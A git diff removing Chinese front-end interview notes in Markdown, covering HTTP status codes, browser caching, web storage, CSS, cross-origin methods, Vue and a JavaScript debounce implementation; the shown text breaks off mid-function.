消息和帧,并对他们采用二进制格式编码,基于二进制可以让协议有更多的扩展性,比 如引入了帧来传输数据和指令) -- 首部压缩 -- 服务器端推送 -- 内容安全,应为 http2.0 是基于 https 的,天然具有安全特性,通过 http2.0 的特性可 以避免单纯使用 https 的性能下降 - -#### 补充 400 和 401、403 状态码 - -**(1)400 状态码:请求无效** - -产生原因: -前端提交数据的字段名称和**字段类型与后台的实体没有保持一致** -前端提交到后台的数据应该是 **json** 字符串类型,但是前端没有将对象 JSON.stringify 转化成字符串。 -解决方法: -对照字段的名称,保持一致性 -将 obj 对象通过 JSON.stringify 实现序列化 - -**(2) 401 状态码**:当前请求需要用户验证 - -**(3) 403 状态码**:服务器已经得到请求,但是**拒绝执行** - -#### fetch 发送 2 次请求的原因 - -**fetch 发送 post 请求的时候,总是发送 2 次,第一次状态码是 204,第二次才成功?** - -原因很简单,因为你用 fetch 的 post 请求的时候,导致 **fetch 第一次发送了一个 Options 请求**,**询问服务器是否支持修改的请求头(更改传输的内容,如form表单,JSON等)**,如果服务器支持,则在第二次中**发送真正的请求**。 - -#### Cookie、sessionStorage、localStorage 的区 - -**共同点:**都是保存在浏览器端,并且是同源的 - -**Cookie:**cookie 数据始终在同源的 http 请求中携带**(即使不需要)**,即 cookie 在浏览器 和服务器间来回传递。(CSRF攻击)而 sessionStorage 和 localStorage 不会自动把数据发给服务器,仅在本地保存。 - -cookie 数据还有路径(path)的概念,可以限制 cookie 只属于某个路径下, 存储的大小很小只有 4K 左右。 (key:可以在浏览器和服务器端来回传递,存储容量 小,只有大约 4K 左右,数量限制,子cookie解决,不同浏览器不同。) - -**sessionStorage**:仅在当前浏览器窗口关闭前有效(刷新等都没事),自然也就不可能持久保持, - -**localStorage**: 始终有效,窗口或浏览器关闭也一直保存,因此用作**持久数据**;cookie 只在设置的 cookie 过期时间之前一直有效,即使窗口或浏览器关闭。 localStorage:localStorage 在**所有同源窗口中都是共享的**;**cookie 也是在所有同源窗口中都是共享的**,sessionStorage用于临时保存同一窗口(或标签页)的数据,在关闭窗口或标签页之后将会删除这些。(key:同源窗口都会共享,并且不会失效,不管窗口或者浏览器关闭与否都会始终生效) - -#### 说一下 web work - -在 HTML 页面中,如果在执行脚本时,页面的状态是不可相应的,直到脚本执行完成后, 页面才变成可相应。web worker 是运行在后台的 js,独立于其他脚本,不会影响页面你 的性能。并且通过 postMessage 将结果回传到主线程。这样在进行复杂操作的时候,就不会阻塞主线程了。 - -如何创建 web worker: - -- 检测浏览器对于 web worker 的支持性 -- 创建 web worker 文件(js,回传函数等) -- 创建 web worker 对 - -#### 对 HTML 语义化标签的 - -HTML5 语义化标签是指正确的标签包含了正确的内容,结构良好,便于阅读,比如 nav 表示导航条,类似的还有 article、header、footer 等等标签。 - -#### iframe 是什么?有什么缺点? - -定义:iframe 元素会创建包含另一个文档的内联框架 -提示:可以将提示文字放\之间,来提示某些不支持 iframe 的浏览器 - -缺点: - -会阻塞主页面的 onload 事件 - -搜索引擎无法解读这种页面,不利于 SEO - -iframe 和主页面共享连接池,而浏览器对相同区域有限制所以会影响性能(还需要同协议下) - -#### Doctype 作用?严格模式与混杂模式如何区分?它们有何意义? - -Doctype 声明于文档最前面,告诉浏览器以何种方式来渲染页面,这里有两种模式,严格模式和混杂模式。 - -严格模式的排版和 JS 运作模式是 以该浏览器支持的最高标准运行。 - -混杂模式,向后兼容,模拟老式浏览器,防止浏览器无法兼容页面。 - -#### 一句话概括 RESTFU - -就是用 URL 定位资源,用 HTTP 描述操作。 - -#### 讲讲 viewport(视窗) 和移动端布 - -参考文章 - -https://github.com/forthealllight/blog/issues/13 - -#### addEventListener 参数 - -addEventListener(event, function, useCapture) - -其中,event 指定事件名;function 指定要事件触发时执行的函数;useCapture 指定事件 是否在捕获或冒泡阶段执行。 - -#### 介绍知道的 http 返回的状态 :star: - -100 Continue 继续。客户端应继续其请求 - -101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更 -高级的协议,例如,切换到 HTTP 的新版本协议 - -200 OK 请求成功。一般用于 GET 与 POST 请求 - -201 Created 已创建。成功请求并创建了新的资源 - -202 Accepted 已接受。已经接受请求,但未处理完成 - -203 Non-Authoritative Information 非授权信息。请求成功。但返回的 meta 信息不在原 -始的服务器,而是一个副本 - -204 No Content 无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档 - -205 Reset Content 重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域 - -206 Partial Content 部分内容。服务器成功处理了部分 GET 请求 - -300 Multiple Choices 多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择 - -301 Moved Permanently 永久移动(重定向,有缓存)。请求的资源已被永久的移动到新 URI,返回信息会包括新的 URI,浏览器会自动定向到新 URI。今后任何新的请求都应使用新的 URI 代替 - -302 Found 临时移动。与 301 类似。但资源只是临时被移动。客户端应继续使用原有URI - -303 See Other 查看其它地址。与 301 类似。使用 GET 和 POST 请求查看 - -304 Not Modified 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回 -任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返 -回在指定日期之后修改的资源 - -305 Use Proxy 使用代理。所请求的资源必须通过代理访问 - -306 Unused 已经被废弃的 HTTP 状态码 - -307 Temporary Redirect 临时重定向。与 302 类似。使用 GET 请求重定向 - -400 Bad Request 客户端请求的语法错误,服务器无法理解 - -401 Unauthorized 请求要求用户的身份认证 - -402 Payment Required 保留,将来使用 - -403 Forbidden 服务器理解请求客户端的请求,但是拒绝执行此请求 - -404 Not Found 服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站 -设计人员可设置"您所请求的资源无法找到"的个性页面 - -405 Method Not Allowed 客户端请求中的方法被禁止 - -406 Not Acceptable 服务器无法根据客户端请求的内容特性完成请求 - -407 Proxy Authentication Required 请求要求代理的身份认证,与 401 类似,但请求者 -应当使用代理进行授权 - -408 Request Time-out 服务器等待客户端发送的请求时间过长,超时 - -409 Conflict 服务器完成客户端的 PUT 请求是可能返回此代码,服务器处理请求时发 -生了冲突 - -410 Gone 客户端请求的资源已经不存在。410 不同于 404,如果资源以前有现在被永 -久删除了可使用 410 代码,网站设计人员可通过 301 代码指定资源的新位置 - -411 Length Required 服务器无法处理客户端发送的不带 Content-Length 的请求信息 - -412 Precondition Failed 客户端请求信息的先决条件错误 - -413 Request Entity Too Large 由于请求的实体过大,服务器无法处理,因此拒绝请求。 -为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则 -会包含一个 Retry-After 的响应信息 - -414 Request-URI Too Large 请求的 URI 过长(URI 通常为网址),服务器无法处理 - -415 Unsupported Media Type 服务器无法处理请求附带的媒体格式 - -416 Requested range not satisfiable 客户端请求的范围无效 - -417 Expectation Failed 服务器无法满足 Expect 的请求头信息 - -500 Internal Server Error 服务器内部错误,无法完成请求 - -501 Not Implemented 服务器不支持请求的功能,无法完成请求 - -502 Bad Gateway 作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接 -收到了一个无效的响应 - -503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。 -延时的长度可包含在服务器的 Retry-After 头信息中 - -504 Gateway Time-out 充当网关或代理的服务器,未及时从远端服务器获取请求 - -505 HTTP Version not supported 服务器不支持请求的 HTTP 协议的版本,无法完成处 -理 - -#### http 常用请求头 - -Accept 可接受的响应内容类型(Content-Types)。 - -Accept-Charset 可接受的字符集。 - -Accept-Encoding 可接受的响应内容的编码方式。 - -Accept-Language 可接受的响应内容语言列表。 - -Authorization 用于表示 HTTP 协议中需要认证资源的认证信 - -Cache-Control 用来指定当前的请求/回复中的,是否使用缓存机制。 - -Cookie 由之前服务器通过Set-Cooki(e 见下文)设置的一个HTTP协议Cookie - -Content-Length 以 8 进制表示的请求体的长 - -Host 表示服务器的域名以及服务器所监听的端口号。如果所请求的端口是对应的服务的标准端口(80),则端口号可以省略。 - -Origin 发起一个针对跨域资源共享的请求(该请求要求服务器在响应中加入一个 Access-Control-Allow-Origin 的消息头,表示访问控制所允许的来源)。 - -#### 强/协商缓存 - -缓存分为两种:强缓存和协商缓存,根据响应的 header 内容来决定。 - -![image-20220321195538632](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202203211955368.png) - -强缓存相关字段有 expires,cache-control。如果 cache-control 与 expires 同时存在的话,cache-control 的优先级高于 expires。协商缓存相关字段有 Last-Modified/If-Modified-Since,Etag/If-None-Match - -#### 讲讲 304 - -304:如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自 -上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个 304 状态码。 - -#### 强缓存、协商缓存什么时候用哪个 - -我们希望服务器上的资源更新了浏览器就请求新的资源,没有更新就使用本地的缓存,以最大程度的减少因网络请求而产生的资源浪费。(最终由服务器抉择是否为200or304) - -#### 前端优化 - -降低请求量:合并资源,减少 HTTP 请求数,minify / gzip 压缩,webP,lazyLoad。 - -加快请求速度:预解析 DNS,减少域名数,并行加载,CDN 分发。 - -缓存:HTTP 协议缓存请求,离线缓存 manifest,离线数据缓存 localStorage。 - -渲染:JS/CSS 优化,加载顺序,服务端渲染,pipeline。 - -#### GET 和 POST 的区 - -- get 参数通过 url 传递,post 放在 request body 中(从规范来说,实际上从协议来说也可以使用get的body)。 - -- get 请求在 url 中传递的参数是有长度限制的(2048),而 post 没有。 - -- get 比 post 更不安全,因为参数直接暴露在 url 中,所以不能用来传递敏感信息。 - -- get 请求只能进行 url 编码,而 post 支持多种编码方式 - -- get 请求会浏览器主动 cache,而 post 支持多种编码方式。 - -- get 请求参数会被完整保留在浏览历史记录里,而 post 中的参数不会被保留。 - -- GET 和 POST 本质上就是 TCP 链接,并无差别。但是由于 HTTP 的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。 - -- GET 产生一个 TCP 数据包;POST 产生两个 TCP 数据包。 - -#### 301 和 302 的区别 - -301 Moved Permanently 被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是**可缓存的**。 - -302 Found 请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的, 客户端应当继续向原有地址发送以后的请求。**只有在 Cache-Control 或 Expires 中进行了 指定的情况下,这个响应才是可缓存的**。 字面上的区别就是 301 是永久重定向,而 302 是临时重定向。 301 比较常用的场景是使用域名跳转。302 用来做临时跳转比如未登陆的用户访问用户中心重定向到登录页面。 - -#### 状态码 304 和 20 - -状态码 200:请求已成功,请求所希望的响应头或数据体将随此响应返回。即返回的数 据为全量的数据,如果文件不通过 GZIP 压缩的话,文件是多大,则要有多大传输量。 - -状态码 304:如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的 内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。即客户端和服务器端只需要传输很少的数据量来做文件的校验,如果文件没有修改过,则不需要返回全量的数据。 - -#### 说一下浏览器缓存 - -缓存分为两种:强缓存和协商缓存,根据响应的 header 内容来决定。 - -强缓存相关字段有 expires,cache-control。如果 cache-control 与 expires 同时存在的话, -cache-control 的优先级高于 expires。 - -协商缓存相关字段有 Last-Modified/If-Modified-Since,Etag/If-None-Match - -#### 在地址栏里输入一个 URL,到这个页面呈现出来,中间会发生什么? - -使用整理补充 - -#### cookie 和 session 的区别,localstorage 和 sessionstorage 的区别 - -Cookie 和 session 都可用来存储用户信息,cookie 存放于客户端,session 存放于服务器端,因为 cookie 存放于客户端有可能被窃取,所以 cookie 一般用来存放不敏感的信息,比如用户设置的网站主题,敏感的信息用 session 存储,比如用户的登陆信息,session 可以存放于文件,数据库,内存中都可以,cookie 可以服务器端响应的时候设置,也可以客户端通过 JS 设置 cookie 会在请求时在 http 首部发送给客户端,cookie 一般在客户端有大小限制,一般为 4K, -下面从几个方向区分一下 cookie,localstorage,sessionstorage 的区别 - -1、生命周期: -Cookie:可设置失效时间,否则默认为关闭浏览器后失效 -Localstorage:除非被手动清除,否则永久保存 -Sessionstorage:仅在当前网页会话下有效,关闭页面或浏览器后就会被清除 - -2、存放数据: -Cookie:4k 左右 -Localstorage 和 sessionstorage:可以保存 5M 的信息 - -3、http 请求: -Cookie:每次都会携带在 http 头中,如果使用 cookie 保存过多数据会带来性能问题 -其他两个:仅在客户端即浏览器中保存,不参与和服务器的通信 - -4、易用性: -Cookie:需要程序员自己封装,原生的 cookie 接口不友好 -其他两个:即可采用原生接口,亦可再次封装 - -5、应用场景: -从安全性来说,因为每次 http 请求都回携带 cookie 信息,这样子浪费了带宽,所以 cookie应该尽可能的少用,此外 cookie 还需要指定作用域,不可以跨域调用,限制很多,但是用户识别用户登陆来说,cookie还是比storage好用,其他情况下可以用storage,localstorage可以用来在页面传递参数,sessionstorage 可以用来保存一些临时的数据,防止用户刷新页面后丢失了一些参数。 - -#### 浏览器在生成页面的时候,会生成那两颗树? - -构造两棵树,DOM 树和 CSSOM 规则树, - -当浏览器接收到服务器相应来的 HTML 文档后,会遍历文档节点,生成 DOM 树, - -CSSOM 规则树由浏览器解析 CSS 文件生成 - -#### 怎么看网站的性能如何 - -检测页面加载时间一般有两种方式,**一种是被动去测**:就是在被检测的页面置入脚本或探针,当用户访问网页时,探针自动采集数据并传回数据库进行分析,**另一种主动监测的方式**,即主动的搭建分布式受控环境,模拟用户发起页面访问请求,主动采集性能数据并分析,在检测的精准度上,专业的第三方工具效果更佳,比如说性能极客 - -#### 输入 URL 到页面加载显示完成发生了什么? - -> 需要区分无缓存情况和有缓存情况 - -DNS 解析 -TCP 连接 -发送 HTTP 请求 -服务器处理请求并返回 HTTP 报文 -浏览器解析渲染页面 -连接结束 - -#### HTML5 和 CSS3 用的多吗?你了解它们的新属性吗?有在项目中用过吗? - -**HTML5**: - -1)标签增删 - -8 个语义元素 header section footer aside nav main article figure - -内容元素 mark 高亮 progress 进度 - -新的表单控件 calander date time email url search - -新的 input 类型 color date datetime datetime-local email - -移除过时标签 big font frame frameset - -2)canvas 绘图,支持内联 SVG。支持 MathML - -3)多媒体 audio video source embed track - -4)本地离线存储,把需要离线存储在本地的文件列在一个 manifest 配置文件 - -5)web 存储。localStorage、SessionStorage - -**CSS3**: - -CSS3边框如border-radius,box-shadow等; - -CSS3背景如background-size,background-origin -等; - -CSS3 2D,3D 转换如 transform 等; - -CSS3 动画如 animation - -#### 说说 302,301,304 的状态 - -301 Moved Permanently 永久移动。请求的资源已被永久的移动到新 URI,返回信息会包括新的 URI,浏览器会自动定向到新 URI。今后任何新的请求都应使用新的 URI 代替302 Found 临时移动。与 301 类似。但资源只是临时被移动。客户端应继续使用原有URI - -304 Not Modified 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源 - -### CSS - -#### 说一下 css 盒模 - -简介:就是用来装页面上的元素的矩形区域。CSS 中的盒子模型包括 IE 盒子模型和标 准的 W3C 盒子模型。 box-sizing(有 3 个值哦):border-box,padding-box,content-box. 标准盒子模型: - -![image-20220323215733110](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220323215733110.png) - -![image-20220323215740198](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220323215740198.png) - -#### 画一条 0.5px 的线 - -采用 meta viewport 的方式 - -\ - -采用 border-image 的方式 边框绘制的方式 - -采用 transform: scale()的方 缩放的方式 - -#### link 标签和 import 标签的区 - -link 属于 html 标签,而@import 是 css 提供的 - -页面被加载时,link 会同时被加载,而**@import 引用的 css 会等到页面加载结束后加载。** - -link 是 html 标签,因此没有兼容性,而@import 只有 IE5 以上才能识别。 - -link 方式样式的权重高于@import 的 - -#### transition 和 animation 的区别 - -Animation 和 transition 大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是 transition 需要触发一个事件才能改变属性,让属性变化成为一个持续一段时间的过程,而不是立即生效的。而 animation 不需要触发任何事件的情况下才会随时间改变属性值,并且 transition 为 2 帧,从 from .... to,而 animation 可以一帧一帧的。 - -#### 关于 JS 动画和 css3 动画的差异性 - -渲染线程分为 main thread 和 compositor thread(合成线程),如果 css 动画只改变 transform 和 opacity,这时整个 CSS 动画得以在 compositor trhead 完成(而 JS 动画则会在 main thread 执行,然后出发 compositor thread 进行下一步操作),**特别注意的是如果改变 transform 和 opacity 是不会 layout 或者 paint 的(回流和重绘的)**。 - -区别: - -功能涵盖面,JS 比 CSS 大 - -实现/重构难度不一,CSS3 比 JS 更加简单,性能跳优方向固定 - -对帧速表现不好的低版本浏览器,css3 可以做到自然降级 - -css 动画有天然事件支持 - -css3 有兼容性问题 - -#### 说一下块元素和行元素 - -块元素:独占一行,并且有自动填满父元素,可以设置 margin 和 pading 以及高度和宽 度 - -行元素:不会独占一行,**width 和 height 会失效**,**并且在垂直方向的 padding 和 margin会失效** - -#### visibility=hidden, opacity=0,display:none - -opacity=0,该元素隐藏起来了,但不会改变页面布局,并且,如果该元素已经绑定一些 事件,如 click 事件,那么点击该区域,也能触发点击事件的 - -visibility=hidden,该元素 隐藏起来了,但不会改变页面布局,但是不会触发该元素已经绑定的事件 - -display=none, 把元素隐藏起来,并且会改变页面布局,可以理解成在页面中把该元素删除掉一样。 - -#### 双边距重叠问题(外边距折叠) - -多个相邻(兄弟或者父子关系)普通流的块元素垂直方向(同一个BFC) marigin 会重叠 折叠的结果为: - -两个相邻的外边距都是正数时,折叠结果是它们两者之间较大的值。 - -两个相邻的外边距都是负数时,折叠结果是两者绝对值的较大值。 - -两个外边距一正一负时,折叠结果是两者的相加的和。 - -### JavaScript - - - -## 前端核心 - -### 服务端编程 - -#### JSONP 的缺点 - -JSONP 只支持 get,因为 script 标签只能使用 get 请求;(JSONP 是一种【请求一段 JS 脚本,把执行这段脚本的结果当做数据】的玩法。) - -JSONP 需要后端配合返回指定格式的数据。 - -**实现跨域** - -JSONP:ajax 请求受同源策略影响,不允许进行跨域请求,而 script 标签 src 属性中的链接却可以访问跨域的 js 脚本,利用这个特性,服务端不再返回 JSON 格式的数据,而是返回一段调用某个函数的 js 代码,在 src 中进行了调用,这样实现了跨域。 - -#### 如何实现跨域 - -iframe 跨域:两个页面都通过 js 强制设置 document.domain 为基础主域,就实现了同域。 - -location.hash + iframe 跨域:a 欲与 b 跨域相互通信,通过中间页 c 来实现。 三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信。 - -window.name + iframe跨域:通过iframe的src属性由外域转向本地域,跨域数据即由iframe的 window.name 从外域传递到本地域。 - -postMessage 跨域:可以跨域操作的 window 属性之一。 - -CORS:服务端设置 Access-Control-Allow-Origin 即可,前端无须设置,若要带 cookie 请求,前后端都需要设置。 - -代理跨域:起一个代理服务器,实现数据的转发 - -#### dom 是什么,你的理解? - -文档对象模型(Document Object Model,简称 DOM),是 W3C 组织推荐的处理可扩展 标志语言的标准编程接口。在网页上,组织页面(或文档)的对象被组织在一个树形结 构中,用来表示文档中对象的标准模型就称为 DOM。 - -#### 实现一个 Ajax - -Ajax 能够在不重新加载整个页面的情况下与服务器交换数据并更新部分网页内容,实现 局部刷新,大大降低了资源的浪费,是一门用于快速创建动态网页的技术,ajax 的使用 分为四部分: - -1、创建 XMLHttpRequest 对象 var xhr = new XMLHttpRequest(); - -2、向服务器发送请求,使用 xmlHttpRequest 对象的 open 和 send 方法, - -3、监听状态变化,执行相应回调函数 - -```js -var xhr = new XMLHttpRequest(); -xhr.open('get', 'aabb.php', true); -xhr.send(null); -xhr.onreadystatechange = function () { - if (xhr.readyState == 4) { - if (xhr.status == 200) { - console.log(xhr.responseText); - } - } -} -``` - -### 移动 web 开发 - - - -## 前端进阶 - -### 前端工程化 - -#### Babel 的原理是什么? - -babel 的转译过程也分为三个阶段,这三步具体是: - -- **解析 Parse**: 将代码解析生成**抽象语法树**( 即 **AST** ),即词法分析与语法分析的过程。 - -- **转换 Transform**: 对于 AST 进行变换一系列的操作,babel 接受得到AST 并通过 babel-traverse 对其进行遍历,**在此过程中进行添加、更新及移除等操作**。 - -- **生成 Generate**: 将变换后的 AST 再转换为 JS 代码, 使用到的模块是babel-generator。 - -![image-20220407114237037](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204071142124.png) - -#### 如何写一个 babel 插件? - - - -### Git - -#### rebase 和 merge 的区别 - -git rebase 和 git merge 一样都是用于从一个分支获取并且合并到当前分支. - -image-20220407114906889 - -- marge 特点:自动创建一个新的 commit 如果合并的时候遇到冲突,仅需 要修改后重新 commit。 -- 优点:记录了真实的 commit 情况,包括每个分支的详情。 -- 缺点:因为每次 merge 会自动产生一个 merge commit,所以在使用一些 git 的 GUI tools,特别是 commit 比较频繁时,看到分支很杂。 - -![image-20220407115329273](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204071153342.png) - -- rebase 特点:会合并之前的 commit 历史 -- 优点:得到更简洁的项目历史,去掉了 merge commit -- 缺点:如果合并出现代码问题不容易定位,因为 re-write 了 history - -因此,当需要保留详细的合并信息的时候建议使用 git merge,特别是需要将分支合并进入 master 分支时;当发现自己修改某个功能时,频繁进行了 git commit 提交时,发现其实 过多的提交信息没有必要时,可以尝试 git rebase。 - -#### git reset、git revert 和 git checkout 有什么区别 - -这个问题同样也需要先了解 git 仓库的三个组成部分:工作区(Working Directory)、 暂存区(Stage)和历史记录区(History)。 - -- 工作区:在 git 管理下的正常目录都算是工作区,我们平时的编辑工作 都是在工作区完成 -- 暂存区:临时区域。里面存放将要提交文件的快照 -- 历史记录区:git commit 后的记录区 - -#### webpack 和 gulp 区别(模块化与流的区别) - -gulp 强调的是前端开发的工作流程,我们可以通过配置一系列的 task,定义 task 处理的 事务(例如文件压缩合并、雪碧图、启动 server、版本控制等),然后定义执行顺序, 来让 gulp 执行这些 task,从而构建项目的整个前端开发流程。 - -webpack 是一个前端模块化方案,更侧重模块打包,我们可以把开发中的所有资源(图 片、js 文件、css 文件等)都看成模块,通过 loader(加载器)和 plugins(插件)对资源 进行处理,打包成符合生产环境部署的前端资源。 - -### Vue 框架 - -#### 有使用过 Vue 吗?说说你对 Vue 的理解 - -Vue 是一个构建数据驱动的渐进性框架,它的目标是通过 API 实现响应数据绑定和视图更新。 - -#### 说说 Vue 的优缺点 - -优点: - -1、数据驱动视图,对真实 dom 进行抽象出 virtual dom(本质就是一个 js 对象), -并配合 diff 算法、响应式和观察者、异步队列等手段以最小代价更新 dom,渲染 -页面 - -2、组件化,组件用单文件的形式进行代码的组织编写,使得我们可以在一个文 -件里编写 html\css(scoped 属性配置 css 隔离)\js 并且配合 Vue-loader 之后,支 -持更强大的预处理器等功能 - -3、强大且丰富的 API 提供一系列的 api 能满足业务开发中各类需求 - -4、由于采用虚拟 dom,让 Vue ssr 先天就足 - -5、生命周期钩子函数,选项式的代码组织方式,写熟了还是蛮顺畅的,但仍然 -有优化空间(Vue3 composition-api) - -6、生态好,社区活跃 - -缺点: - -1、由于底层基于 Object.defineProperty 实现响应式,而这个 api 本身不支持 IE8 -及以下浏览器 - -2、csr 的先天不足,首屏性能问题(白屏) - -3、由于百度等搜索引擎爬虫无法爬取 js 中的内容,故 spa 先天就对 seo 优化心 -有余力不足(谷歌的 puppeteer 就挺牛逼的,实现预渲染底层也是用到了这个工 -具) - -#### vue 如何监听键盘事件? - -1. @keyup. 方法 -2. addEventListener - -#### watch 怎么深度监听对象变化 - -deep 设置为 true 就可以监听到对象的变化 - -```js -let vm = new Vue({ - el: "#first", data: {msg: {name: '北京'}}, watch: { - msg: { - handler(newMsg, oldMsg) { - console.log(newMsg); - }, immediate: true, deep: true - } - } -}) -``` - -#### 删除数组用 delete 和 Vue.delete 有什么区别? - -- delete:只是被删除数组成员变为 empty / undefined,其他元素键值不变 -- Vue.delete:直接删了数组成员,并改变了数组的键值(对象是响应式的,确保 删除能触发更新视图,这个方法主要用于避开 Vue 不能检测到属性被删除的限 制) - -#### watch 和计算属性有什么区别? - -通俗来讲,既能用 computed 实现又可以用 watch 监听来实现的功能,推荐用 computed, 重点在于 computed 的缓存功能 computed 计算属性是用来声明式的描述一个值依赖了其它的值,当所依赖的值或者变量 改变时,计算属性也会跟着改变; watch 监听的是已经在 data 中定义的变量,当该变量变化时,会触发 watch 中的方法。 - -#### Vue 双向绑定原理 - -Vue 数据双向绑定是通过数据劫持结合发布者-订阅者模式的方式来实现的。利用了Object.defineProperty() 这个方法重新定义了对象获取属性值(get)和设置属性值(set)。 - -#### v-model 是什么?有什么用呢? - -一则语法糖,相当于 v-bind:value="xxx" 和 @input,意思是绑定了一个 value 属性的值, 子组件可对 value 属性监听,通过$emit('input', xxx)的方式给父组件通讯。自己实现 v-model 方式的组件也是这样的思路。 - -#### axios 是什么?怎样使用它?怎么解决跨域的问题? - -axios 的是一种异步请求,用法和 ajax 类似,安装 npm install axios --save 即可使用,请 求中包括 get,post,put, patch ,delete 等五种请求方式,解决跨域可以在请求头中添加 Access-Control-Allow-Origin,也可以在 index.js 文件中更改 proxyTable 配置等解决跨域 问题。 - -#### 在 vue 项目中如何引入第三方库(比如 jQuery)?有哪些方法可以做到? - -1、绝对路径直接引入 在 index.html 中用 script 引入 然后在 webpack 中配置 external externals: { 'jquery': 'jQuery' } 在组件中使用时 import import $ from 'jquery' 2 、在 webpack 中配置 alias resolve: { extensions: ['.js', '.vue', '.json'], alias: { '@': resolve('src'), 'jquery': resolve('static/jquery-1.12.4.js') } } 然后在组件中 import 3、在 webpack 中配置 plugins plugins: [ new webpack.ProvidePlugin({ $: 'jquery' }) ] 全局使用,但在使用 eslint 情况下会报错,需要在使用了 $ 的代码前添加 /* eslint-disable*/ 来去掉 ESLint 的检查。 diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\351\235\242\350\257\225\345\215\201\344\270\207\345\255\227\344\271\246\347\261\215\346\200\273\347\273\223.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\351\235\242\350\257\225\345\215\201\344\270\207\345\255\227\344\271\246\347\261\215\346\200\273\347\273\223.md" deleted file mode 100644 index 9ad1c9dd..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\351\235\242\350\257\225\345\215\201\344\270\207\345\255\227\344\271\246\347\261\215\346\200\273\347\273\223.md" +++ /dev/null @@ -1,971 +0,0 @@ ---- -icon: edit -date: 2022-03-19 -category: -- 面试题 -- 前端 ---- - - -# 前端面试十万字书籍总结 - -## JavaScript专题 - -### 防抖 - -你是否在⽇常开发中遇到⼀个问题,在滚动事件中需要做个复杂计算或者实现⼀个按钮的防⼆次点击操作。 - -这些需求都可以通过函数防抖动来实现。尤其是第⼀个需求,如果在频繁的事件回调中做复杂计算,很有可能导致⻚⾯卡顿,不如将多次计算合并为⼀次计算,只在⼀个精确点做操作。 - -PS:防抖和节流的作⽤都是防⽌函数多次调⽤。区别在于,假设⼀个⽤户⼀直触发这个函数,且每次触发函数的间隔⼩于wait,防抖的情况下只会调⽤⼀次,⽽节流的 情况会每隔⼀定时间(参数wait)调⽤函数。 - -我们先来看⼀个袖珍版的防抖理解⼀下防抖的实现: - -```js -// func是⽤户传⼊需要防抖的函数 -// wait是等待时间 -const debounce = (func, wait = 50) => { - // 缓存⼀个定时器id - let timer = 0 - // 这⾥返回的函数是每次⽤户实际调⽤的防抖函数 - // 如果已经设定过定时器了就清空上⼀次的定时器 - // 开始⼀个新的定时器,延迟执⾏⽤户传⼊的⽅法 - return function (...args) { - if (timer) clearTimeout(timer) - timer = setTimeout(() => { - func.apply(this, args) - }, wait) - } -} -// 不难看出如果⽤户调⽤该函数的间隔⼩于wait的情况下,上⼀次的时间还未到就被清除了,并不会执⾏函数 -``` - -这是⼀个简单版的防抖,但是有缺陷,这个防抖只能在最后调⽤。⼀般的防抖会有immediate选项,表示是否⽴即调⽤。这两者的区别,举个栗⼦来说: - -- 例如在搜索引擎搜索问题的时候,我们当然是希望⽤户输⼊完最后⼀个字才调⽤查询接⼝,这个时候适⽤ 延迟执⾏ 的防抖函数,它总是在⼀连串(间隔⼩于wait的)函数触发之后调⽤。 - -- 例如⽤户给interviewMap点star的时候,我们希望⽤户点第⼀下的时候就去调⽤接⼝,并且成功之后改变star按钮的样⼦,⽤户就可以⽴⻢得到反馈是否star成功了,这个情况适⽤ ⽴即执⾏ 的防抖函数,它总是在第⼀次调⽤,并且下⼀次调⽤必须与前⼀次调⽤的时间间隔⼤于wait才会触发。 - -下⾯我们来实现⼀个带有⽴即执⾏选项的防抖函数 - -```js -// 这个是⽤来获取当前时间戳的 -function now() { - return new Date() -} - -/** - * 防抖函数,返回函数连续调⽤时,空闲时间必须⼤于或等于 wait,func 才会执⾏ - * - * @param {function} func 回调函数 - * @param {number} wait 表示时间窗⼝的间隔 - * @param {boolean} immediate 设置为ture时,是否⽴即调⽤函数 - * @return {function} 返回客户调⽤函数 - */ -function debounce(func, wait = 50, immediate = true) { - let timer, context, args - - // 延迟执⾏函数 - const later = () => setTimeout(() => { - // 延迟函数执⾏完毕,清空缓存的定时器序号 - timer = null - // 延迟执⾏的情况下,函数会在延迟函数中执⾏ - // 使⽤到之前缓存的参数和上下⽂ - if (!immediate) { - func.apply(context, args) - context = args = null - } - }, wait) - // 这⾥返回的函数是每次实际调⽤的函数 - return function (...params) { - // 如果没有创建延迟执⾏函数(later),就创建⼀个 - if (!timer) { - timer = later() - // 如果是⽴即执⾏,调⽤函数 - // 否则缓存参数和调⽤上下⽂ - if (immediate) { - 